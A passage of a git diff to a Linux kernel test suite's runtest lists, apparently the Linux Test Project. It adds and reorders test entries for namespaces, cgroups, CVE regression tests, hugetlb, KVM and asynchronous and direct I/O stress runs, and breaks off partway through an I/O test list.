+netns_comm_ns_exec_ipv6_ioctl netns_comm.sh -6eI netns_sysfs netns_sysfs.sh -shmnstest_none shmnstest none -shmnstest_clone shmnstest clone -shmnstest_unshare shmnstest unshare -shmem_2nstest_none shmem_2nstest none -shmem_2nstest_clone shmem_2nstest clone -shmem_2nstest_unshare shmem_2nstest unshare +shmnstest_none shmnstest -m none +shmnstest_clone shmnstest -m clone +shmnstest_unshare shmnstest -m unshare +shmem_2nstest_none shmem_2nstest -m none +shmem_2nstest_clone shmem_2nstest -m clone +shmem_2nstest_unshare shmem_2nstest -m unshare shm_comm shm_comm -mesgq_nstest_none mesgq_nstest none -mesgq_nstest_clone mesgq_nstest clone -mesgq_nstest_unshare mesgq_nstest unshare +mesgq_nstest_none mesgq_nstest -m none +mesgq_nstest_clone mesgq_nstest -m clone +mesgq_nstest_unshare mesgq_nstest -m unshare msg_comm msg_comm -sem_nstest_none sem_nstest none -sem_nstest_clone sem_nstest clone -sem_nstest_unshare sem_nstest unshare -semtest_2ns_none semtest_2ns none -semtest_2ns_clone semtest_2ns clone -semtest_2ns_unshare semtest_2ns unshare +sem_nstest_none sem_nstest -m none +sem_nstest_clone sem_nstest -m clone +sem_nstest_unshare sem_nstest -m unshare +semtest_2ns_none semtest_2ns -m none +semtest_2ns_clone semtest_2ns -m clone +semtest_2ns_unshare semtest_2ns -m unshare sem_comm sem_comm -utstest_unshare_1 utstest unshare 1 -utstest_unshare_2 utstest unshare 2 -utstest_unshare_3 utstest unshare 3 -utstest_unshare_4 utstest unshare 4 -utstest_unshare_5 utstest unshare 5 -utstest_clone_1 utstest clone 1 -utstest_clone_2 utstest clone 2 -utstest_clone_3 utstest clone 3 -utstest_clone_4 utstest clone 4 -utstest_clone_5 utstest clone 5 +utsname01 utsname01 +utsname02 utsname02 +utsname03_clone utsname03 -m clone +utsname03_unshare utsname03 -m unshare +utsname04_clone utsname04 -m clone +utsname04_unshare utsname04 -m unshare mountns01 mountns01 mountns02 mountns02 diff --git a/runtest/controllers b/runtest/controllers index 09e0107e..93c52c43 100755 --- a/runtest/controllers +++ b/runtest/controllers @@ -1,4 +1,7 @@ #DESCRIPTION:Resource Management testing +cgroup_core01 cgroup_core01 +cgroup_core02 cgroup_core02 +cgroup_core03 cgroup_core03 cgroup cgroup_regression_test.sh memcg_regression memcg_regression_test.sh memcg_test_3 memcg_test_3 @@ -19,6 +22,8 @@ memcg_control memcg_control_test.sh # kselftest ports memcontrol01 memcontrol01 memcontrol02 memcontrol02 +memcontrol03 memcontrol03 +memcontrol04 memcontrol04 cgroup_fj_function_debug cgroup_fj_function.sh debug cgroup_fj_function_cpuset cgroup_fj_function.sh cpuset @@ -358,6 +363,9 @@ cpuset_regression_test cpuset_regression_test.sh cgroup_xattr cgroup_xattr +# V2 IO controller (was blkio) +io_control01 io_control01 + pids_1_1 pids.sh 1 1 0 pids_1_2 pids.sh 1 2 0 pids_1_10 pids.sh 1 10 0 diff --git a/runtest/cve b/runtest/cve index 01211b5a..f9b36a18 100755 --- a/runtest/cve +++ b/runtest/cve @@ -5,9 +5,9 @@ cve-2011-2496 vma03 cve-2012-0957 uname04 cve-2014-0196 cve-2014-0196 cve-2015-0235 gethostbyname_r01 +cve-2015-3290 cve-2015-3290 cve-2015-7550 keyctl02 cve-2016-4470 keyctl01.sh -cve-2015-3290 cve-2015-3290 cve-2016-4997 setsockopt03 cve-2016-5195 dirtyc0w cve-2016-7042 cve-2016-7042 @@ -19,10 +19,12 @@ cve-2016-10044 cve-2016-10044 cve-2017-2618 cve-2017-2618 cve-2017-2636 pty05 cve-2017-2671 cve-2017-2671 +cve-2017-5754 meltdown cve-2017-6951 request_key05 cve-2017-7308 setsockopt02 cve-2017-7472 keyctl04 cve-2017-7616 set_mempolicy05 +cve-2017-8890 accept02 cve-2017-10661 timerfd_settime02 cve-2017-12192 keyctl07 cve-2017-12193 add_key04 @@ -31,44 +33,59 @@ cve-2017-15299 request_key03 -b cve-2017-15299 cve-2017-15537 ptrace07 cve-2017-15649 fanout01 cve-2017-15951 request_key03 -b cve-2017-15951 +cve-2017-16939 cve-2017-16939 +cve-2017-16995 bpf_prog03 +cve-2017-17052 cve-2017-17052 +cve-2017-17053 cve-2017-17053 cve-2017-17712 sendmsg03 cve-2017-17805 af_alg02 cve-2017-17806 af_alg01 cve-2017-17807 request_key04 -cve-2017-1000364 stack_clash -cve-2017-5754 meltdown -cve-2017-17052 cve-2017-17052 -cve-2017-16939 cve-2017-16939 -cve-2017-16995 bpf_prog03 -cve-2017-17053 cve-2017-17053 cve-2017-18075 pcrypt_aead01 +cve-2017-18344 timer_create03 cve-2017-1000111 setsockopt07 cve-2017-1000112 setsockopt05 +cve-2017-1000364 stack_clash cve-2017-1000380 snd_timer01 cve-2017-1000405 thp04 cve-2018-5803 sctp_big_chunk +cve-2018-6927 futex_cmp_requeue02 cve-2018-7566 snd_seq01 cve-2018-8897 ptrace09 cve-2018-9568 connect02 cve-2018-10124 kill13 -cve-2018-1000001 realpath01 -cve-2018-1000199 ptrace08 -cve-2018-1000204 ioctl_sg01 +cve-2018-11508 adjtimex03 cve-2018-12896 timer_settime03 cve-2018-13405 creat09 cve-2018-18445 bpf_prog04 cve-2018-18559 bind06 cve-2018-18955 userns08 cve-2018-19854 crypto_user01 +cve-2018-1000001 realpath01 +cve-2018-1000199 ptrace08 +cve-2018-1000204 ioctl_sg01 cve-2019-8912 af_alg07 cve-2020-11494 pty04 cve-2020-14386 sendto03 cve-2020-14416 pty03 cve-2020-25705 icmp_rate_limit01 cve-2020-29373 io_uring02 +cve-2020-36557 pty06 cve-2021-3444 bpf_prog05 cve-2021-3609 can_bcm01 +cve-2021-4034 execve06 +cve-2021-4197_1 cgroup_core01 +cve-2021-4197_2 cgroup_core02 +cve-2021-4204 bpf_prog06 cve-2021-22555 setsockopt08 -i 100 cve-2021-26708 vsock01 +cve-2021-22600 setsockopt09 +cve-2021-38604 mq_notify03 +cve-2022-0847 dirtypipe +cve-2022-2590 dirtyc0w_shmem +cve-2022-23222 bpf_prog07 +cve-2023-1829 tcindex01 # Tests below may cause kernel memory leak cve-2020-25704 perf_event_open03 +cve-2022-0185 fsconfig03 +cve-2022-4378 cve-2022-4378 diff --git a/runtest/hugetlb b/runtest/hugetlb index f719217a..299c07ac 100755 --- a/runtest/hugetlb +++ b/runtest/hugetlb @@ -1,8 +1,40 @@ +hugefallocate01 hugefallocate01 +hugefallocate02 hugefallocate02 + +hugefork01 hugefork01 +hugefork02 hugefork02 + hugemmap01 hugemmap01 hugemmap02 hugemmap02 hugemmap04 hugemmap04 hugemmap05 hugemmap05 hugemmap06 hugemmap06 +hugemmap07 hugemmap07 +hugemmap08 hugemmap08 +hugemmap09 hugemmap09 +hugemmap10 hugemmap10 +hugemmap11 hugemmap11 +hugemmap12 hugemmap12 +hugemmap13 hugemmap13 +hugemmap14 hugemmap14 +hugemmap15 hugemmap15 +hugemmap16 hugemmap16 +hugemmap17 hugemmap17 +hugemmap18 hugemmap18 +hugemmap19 hugemmap19 +hugemmap20 hugemmap20 +hugemmap21 hugemmap21 +hugemmap22 hugemmap22 +hugemmap23 hugemmap23 +hugemmap24 hugemmap24 +hugemmap25 hugemmap25 +hugemmap26 hugemmap26 +hugemmap27 hugemmap27 +hugemmap28 hugemmap28 +hugemmap29 hugemmap29 +hugemmap30 hugemmap30 +hugemmap31 hugemmap31 +hugemmap32 hugemmap32 hugemmap05_1 hugemmap05 -m hugemmap05_2 hugemmap05 -s hugemmap05_3 hugemmap05 -s -m diff --git a/runtest/ipc b/runtest/ipc index a2135ed8..db7f7bed 100755 --- a/runtest/ipc +++ b/runtest/ipc @@ -28,5 +28,3 @@ pipeio_8 pipeio -T pipeio_8 -c 5 -s 5000 -i 10 -u -f x80 # spawns 5 children to write 10 chunks of 5000 bytes to an unnamed pipe # using non-blocking I/O -sem01 sem01 -sem02 sem02 diff --git a/runtest/kvm b/runtest/kvm new file mode 100644 index 00000000..4094a21a --- /dev/null +++ b/runtest/kvm @@ -0,0 +1,4 @@ +kvm_pagefault01 kvm_pagefault01 +kvm_svm01 kvm_svm01 +kvm_svm02 kvm_svm02 +kvm_svm03 kvm_svm03 diff --git a/runtest/ltp-aio-stress b/runtest/ltp-aio-stress new file mode 100644 index 00000000..1de49b40 --- /dev/null +++ b/runtest/ltp-aio-stress @@ -0,0 +1,55 @@ +# ltp A-sync IO Stress IO tests +ADS1000 aio-stress -o2 -r4k -f1 +ADS1001 aio-stress -o2 -r8k -f1 +ADS1002 aio-stress -o2 -r16k -f1 +ADS1003 aio-stress -o2 -r32k -t2 -f2 +ADS1004 aio-stress -o2 -r64k -f2 +ADS1005 aio-stress -o3 -r4k -f2 +ADS1006 aio-stress -o3 -r8k -f2 +ADS1007 aio-stress -o3 -r16k -f2 +ADS1008 aio-stress -o3 -r32k -f4 +ADS1009 aio-stress -o3 -r64k -t4 -f4 +ADS1010 aio-stress -o3 -r128k -t4 -f4 +ADS1011 aio-stress -o3 -r256k -t8 -f8 +ADS1012 aio-stress -o3 -r512k -t8 -f8 +ADS1013 aio-stress -o2 -O -r4k -t8 -f8 +ADS1014 aio-stress -o2 -O -r8k -f2 +ADS1015 aio-stress -o2 -O -r16k -f2 +ADS1016 aio-stress -o2 -O -r32k -t2 -f2 +ADS1017 aio-stress -o2 -O -r64k -t2 -f2 +ADS1018 aio-stress -o3 -O -r4k -t2 -f2 +ADS1019 aio-stress -o3 -O -r8k -t2 -f2 +ADS1020 aio-stress -o3 -O -r16k -t2 -f2 +ADS1021 aio-stress -o3 -O -r32k -t4 -f4 +ADS1022 aio-stress -o3 -O -r64k -t4 -f4 +ADS1023 aio-stress -o3 -O -r128k -t4 -f4 +ADS1024 aio-stress -o3 -O -r256k -t8 -f8 +ADS1025 aio-stress -o3 -O -r512k -t8 -f8 +ADS1026 aio-stress -o0 -r4k -t8 -f8 +ADS1027 aio-stress -o0 -r8k -f1 +ADS1028 aio-stress -o0 -r16k -f1 +ADS1029 aio-stress -o0 -r32k -t2 -f2 +ADS1030 aio-stress -o0 -r64k -t2 -f2 +ADS1031 aio-stress -o1 -r4k -t2 -f1 +ADS1032 aio-stress -o1 -r8k -t2 -f1 +ADS1033 aio-stress -o1 -r16k -t2 -f2 +ADS1034 aio-stress -o1 -r32k -t4 -f4 +ADS1035 aio-stress -o1 -r64k -t4 -f4 +ADS1036 aio-stress -o1 -r128k -t4 -f4 +ADS1037 aio-stress -o1 -r256k -t8 -f8 +ADS1038 aio-stress -o1 -r512k -t8 -f8 +ADS1039 aio-stress -o1 -O -r4k -t8 -f8 +ADS1040 aio-stress -o1 -O -r8k -t2 -f2 +ADS1041 aio-stress -o1 -O -r16k -t2 -f2 +ADS1042 aio-stress -o1 -O -r32k -t2 -f2 +ADS1043 aio-stress -o1 -O -r64k -t2 -f2 +ADS1044 aio-stress -o1 -O -r4k -t4 -f4 +ADS1045 aio-stress -o1 -O -r8k -t4 -f4 +ADS1046 aio-stress -o1 -O -r16k -t4 -f4 +ADS1047 aio-stress -o1 -O -r32k -t8 -f8 +ADS1048 aio-stress -o1 -O -r64k -t8 -f8 +ADS1049 aio-stress -o1 -O -r128k -t8 -f8 +ADS1050 aio-stress -o1 -O -r256k -t2 -f2 +ADS1051 aio-stress -o3 -r8k -t2 -f2 +ADS1052 aio-stress -o3 -r16k -t2 -f2 +ADS1053 aio-stress -o3 -r32k -t4 -f4 diff --git a/runtest/ltp-aiodio.part1 b/runtest/ltp-aiodio.part1 index 0338e185..dd597b7d 100755 --- a/runtest/ltp-aiodio.part1 +++ b/runtest/ltp-aiodio.part1 @@ -1,216 +1,142 @@ #DESCRIPTION:ltp A-sync IO and Direct IO tests # -AD001 time aiocp -b 1k -n 1 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD002 time aiocp -b 1k -n 1 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD003 time aiocp -b 1k -n 1 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD004 time aiocp -b 1k -n 2 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD005 time aiocp -b 1k -n 2 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD006 time aiocp -b 1k -n 2 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD007 time aiocp -b 1k -n 4 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD008 time aiocp -b 1k -n 4 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD009 time aiocp -b 1k -n 4 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD010 time aiocp -b 1k -n 8 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD012 time aiocp -b 1k -n 8 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD013 time aiocp -b 1k -n 8 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD014 time aiocp -b 1k -n 16 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD015 time aiocp -b 1k -n 16 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD016 time aiocp -b 1k -n 16 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD017 time aiocp -b 1k -n 32 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD018 time aiocp -b 1k -n 32 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD019 time aiocp -b 1k -n 32 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD020 time aiocp -b 1k -n 64 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD021 time aiocp -b 1k -n 64 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD022 time aiocp -b 1k -n 64 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD023 time aiocp -b 2k -n 1 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD024 time aiocp -b 2k -n 1 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD025 time aiocp -b 2k -n 1 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD026 time aiocp -b 2k -n 2 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD027 time aiocp -b 2k -n 2 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD028 time aiocp -b 2k -n 2 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD029 time aiocp -b 2k -n 4 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD030 time aiocp -b 2k -n 4 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD031 time aiocp -b 2k -n 4 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD032 time aiocp -b 2k -n 8 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD033 time aiocp -b 2k -n 8 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD034 time aiocp -b 2k -n 8 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD035 time aiocp -b 2k -n 16 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD036 time aiocp -b 2k -n 16 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD037 time aiocp -b 2k -n 16 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD038 time aiocp -b 2k -n 32 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD039 time aiocp -b 2k -n 32 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD040 time aiocp -b 2k -n 32 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD041 time aiocp -b 2k -n 64 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD042 time aiocp -b 2k -n 64 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD043 time aiocp -b 2k -n 64 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD044 time aiocp -b 4k -n 1 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD045 time aiocp -b 4k -n 1 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD046 time aiocp -b 4k -n 1 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD047 time aiocp -b 4k -n 2 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD048 time aiocp -b 4k -n 2 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD049 time aiocp -b 4k -n 2 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD050 time aiocp -b 4k -n 4 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD051 time aiocp -b 4k -n 4 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD052 time aiocp -b 4k -n 4 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD053 time aiocp -b 4k -n 8 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD054 time aiocp -b 4k -n 8 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD055 time aiocp -b 4k -n 8 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD056 time aiocp -b 4k -n 16 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD057 time aiocp -b 4k -n 16 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD058 time aiocp -b 4k -n 16 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD059 time aiocp -b 4k -n 32 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD060 time aiocp -b 4k -n 32 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD061 time aiocp -b 4k -n 32 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD062 time aiocp -b 4k -n 64 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD063 time aiocp -b 4k -n 64 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD064 time aiocp -b 41k -n 64 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD065 time aiocp -b 8k -n 1 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD066 time aiocp -b 8k -n 1 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD067 time aiocp -b 8k -n 1 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD068 time aiocp -b 8k -n 2 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD069 time aiocp -b 8k -n 2 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD070 time aiocp -b 8k -n 2 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD071 time aiocp -b 8k -n 4 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD072 time aiocp -b 8k -n 4 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD073 time aiocp -b 8k -n 4 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD074 time aiocp -b 8k -n 8 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD075 time aiocp -b 8k -n 8 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD076 time aiocp -b 8k -n 8 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD077 time aiocp -b 8k -n 16 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD078 time aiocp -b 8k -n 16 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD079 time aiocp -b 8k -n 16 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD080 time aiocp -b 8k -n 32 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD081 time aiocp -b 8k -n 32 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD082 time aiocp -b 8k -n 32 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD083 time aiocp -b 8k -n 64 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD084 time aiocp -b 8k -n 64 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD085 time aiocp -b 8k -n 64 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD086 time aiocp -b 16k -n 1 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD087 time aiocp -b 16k -n 1 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD088 time aiocp -b 16k -n 1 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD089 time aiocp -b 16k -n 2 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD090 time aiocp -b 16k -n 2 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD091 time aiocp -b 16k -n 2 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD092 time aiocp -b 16k -n 4 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD093 time aiocp -b 16k -n 4 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD094 time aiocp -b 16k -n 4 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD095 time aiocp -b 16k -n 8 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD096 time aiocp -b 16k -n 8 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD097 time aiocp -b 16k -n 8 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD098 time aiocp -b 16k -n 16 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD099 time aiocp -b 16k -n 16 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD101 time aiocp -b 16k -n 16 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD102 time aiocp -b 16k -n 32 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD103 time aiocp -b 16k -n 32 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD104 time aiocp -b 16k -n 32 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD105 time aiocp -b 16k -n 64 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD106 time aiocp -b 16k -n 64 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD107 time aiocp -b 16k -n 64 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD108 time aiocp -b 32k -n 1 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD109 time aiocp -b 32k -n 1 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD110 time aiocp -b 32k -n 1 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD112 time aiocp -b 32k -n 2 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD113 time aiocp -b 32k -n 2 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD114 time aiocp -b 32k -n 2 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD115 time aiocp -b 32k -n 4 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD116 time aiocp -b 32k -n 4 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD117 time aiocp -b 32k -n 4 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD118 time aiocp -b 32k -n 8 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD119 time aiocp -b 32k -n 8 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD120 time aiocp -b 32k -n 8 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD121 time aiocp -b 32k -n 16 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD122 time aiocp -b 32k -n 16 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD123 time aiocp -b 32k -n 16 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD124 time aiocp -b 32k -n 32 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD125 time aiocp -b 32k -n 32 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD126 time aiocp -b 32k -n 32 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD127 time aiocp -b 32k -n 64 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD128 time aiocp -b 32k -n 64 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD129 time aiocp -b 32k -n 64 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD130 time aiocp -b 64k -n 1 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD131 time aiocp -b 64k -n 1 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD132 time aiocp -b 64k -n 1 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD133 time aiocp -b 64k -n 2 -f DIRECT $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD134 time aiocp -b 64k -n 2 -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD135 time aiocp -b 64k -n 2 -f DIRECT -f SYNC $TMPDIR/aiodio.$$/junkfile $TMPDIR/aiodio.$$/ff2 -AD136 time aiocp -b 64k -n 4 -f DIRECT 